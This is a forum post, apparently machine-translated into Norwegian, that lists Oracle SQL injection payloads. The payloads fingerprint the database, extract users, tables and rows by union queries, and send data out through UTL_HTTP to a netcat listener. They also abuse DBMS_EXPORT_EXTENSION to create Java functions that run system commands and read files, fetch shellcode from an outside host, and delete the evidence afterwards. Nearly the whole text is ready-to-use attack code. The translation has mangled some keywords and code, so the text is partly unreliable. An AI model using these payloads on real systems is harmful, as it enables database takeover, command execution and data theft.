Dette innlegget ble sist redigert av test 2015-01-24 kl. 13:01
Kommentar: -- Utførelse av flere setninger støttes ikke, og fødererte spørringer støttes Databasenavn, tabellnavn og kolonnenavn skrives alle med store bokstaver.
lengde(felt) ascii(substr(felt, N, 1))
og (velg antall(*) fra dual)>0 -- Bestem om det er orakel eller ikke
Orden etter n--
og 1=2 union velger null, null,.....,null fra dual-- erstatt null med N eller 'N'
og 1=2 union select null, (sql-setning) ,.....,null fra dual -- endre til (sql-setning) på 'N'
og (velg antall(*) fra all_objects der object_name='UTL_HTTP')>0 -- Bestem om UTL_HTTP støttes (eksport-IP-en er kjent)
og UTL_HTTP.request('http://LocalIP:port'|| (SQL-setning)) =1-- Send meldinger eksternt til lokal, lokal lytting nc -vv -l -p 1234
SQL-setninger Velg banner fra sys.v_$version hvor rownum=1 for å spørre orakelversjonen velg medlem fra v$logfile hvor rownum=1 Søk i loggfilens sti (Windows eller Linux) velg utl_inaddr.get_host_address fra dual for å spørre databasens lytte-IP Velg instance_name fra v$instance for å spørre SIDEN velg navn fra v$database Søk i det nåværende databasenavnet Velg sys_context ('userenv', 'current_user') fra Dual Query database Users Velg * fra session_roles der rownum=1 for å spørre om gjeldende brukertillatelser Velg * fra session_roles hvor rownum=1 [og rolle<>'første tillatelsesnavn']
velg table_name fra user_tables der rownum=1 Det første tabellsegmentet i den nåværende databasen velg table_name||','|| tablespace_name fra user_tables hvor rownum=1 Første tabellsegment, database (for verifisering kan det ikke være v$database) velg table_name fra user_tables hvor rownum=1 og table_name<>'første tabellsegment' Det andre tabellsegmentet i den nåværende databasen
velg column_name fra user_tab_columns hvor rownum=1 og table_name='Table Segment' Det første feltet som tilsvarer tabellnavnet velg column_name fra user_tab_columns hvor rownum=1 og table_name='Tabellsegment' og column_name<>'Første felt' Det andre feltet som tilsvarer tabellnavnet
Velg felt fra tabellsegment der rownum=1 bryter med innholdet på første linje Velg felt fra tabellsegment hvor rownum=1 og felt <> 'første linjeinnhold' eksponerer innholdet på andre linje
Tverrbibliotek Velg eier fra all_tables hvor rownum=1 spør det første databasenavnet velg eier fra all_tables der rownum=1 og eier<> 'Første databasenavn' for å spørre i det andre databasenavnet
velg table_name fra all_tables der rownum=1 og owner='databasenavn' Søk i første tabellnavn i den tilsvarende databasen Velg table_name fra all_tables der rownum=1 og owner='databasenavn' og table_name<>'første tabellnavn' for å spørre i det andre tabellnavnet til den tilsvarende databasen
velg column_name fra all_tab_columns der rownum=1 og eier='databasenavn' og table_name='tabellsegment' Det første feltet tilsvarer tabellnavnet Velg column_name fra all_tab_columns hvor rownum=1 og eier='databasenavn' og table_name='tabellsegment' og column_name<>'første felt' Det andre feltet som tilsvarer tabellnavnet
Velg felt fra databasen. tabellsegment hvor rownum=1 bryter innholdet i den første linjen Velg felt fra databasen. Tabellsegmentet der rownum=1 og feltet <> 'First Line Content' bryter med innholdet i andre rad.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); flersetnings-END; --','SYS',0,'1',0)--
Hvis 'is escaped, brukes chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-setning || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Hvis flere setninger er for lange, kan du skrive setningen til nettsidefilen og bruke utl_http.request for å hente den.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Lag en JAVA-pakke SecTest runCMD brukes til å utføre systemkommandoer og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART'' ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', opprett eller erstatt og kompiler en java-kilde kalt "SecTest" som import java.io.*; offentlig klasse SecTest utvider Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; mens((stemp=minLeser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Unntak e){return e.toString(); }}}''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
readFile brukes til å lese filen og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART'' ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', opprett eller erstatt og kompiler en java-kilde kalt "SecTest" som import java.io.*; offentlig klasse SecTest utvider Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; mens((stemp=minLeser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Unntak e){return e.toString(); }}}''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
Gi Java-tillatelser og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILER>>'''''''',''''''''utføre''''''''); slutt; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
Lag en funksjon SecRunCMD-funksjonen og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', opprett eller erstatt funksjonen SecRunCMD(p_cmd i varchar2) returner varchar2 som språk java name''''''''SecTest.runCMD(java.lang.String) returner String'''''''' ; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
SecReadFile-funksjonen og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', opprett eller erstatt funksjon SecReadFile(filnavn i varchar2) returner varchar2 som språkets java-navn''''''''SecTest.readFile(java.lang.String) returner String' '''''''; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
Gi tillatelse til å utføre den offentlige funksjonen SecRunCMD får tillatelser og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGYNN Å UTFØRE UMIDDELBAR ''''tildelte alt på SecRunCMD til offentligheten'''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
SecReadFile og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' Grant all on SecReadFile til offentligheten''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
Oppdager om funksjonen ble opprettet med suksess og (velg tell(*) fra all_objects hvor object_name='SECRUNCMD')>0-- og (velg teller(*) fra all_objects hvor object_name='SECREADFILE')>0--
Utfør kommandoen og '1'<>(velg system. SecRunCMD('Execute-kommando') fra dual)-- og '1'<>(velg system. SecReadFile('fil fysisk adresse') fra dual)-- eller og 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null fra dual-- og 1=2 union select null,...,sys. SecReadFile('fil fysisk adresse'),...,null fra dual-- eller og '1'<>(velg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Utfør kommando'),' ',' '),'\n',' ')) fra dual)-- og '1'<>(velg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n',' ')) fra dual)--
Slett-funksjonen og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-funksjonen SecRunCMD''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)-- og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-funksjonen SecReadFile''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)-- |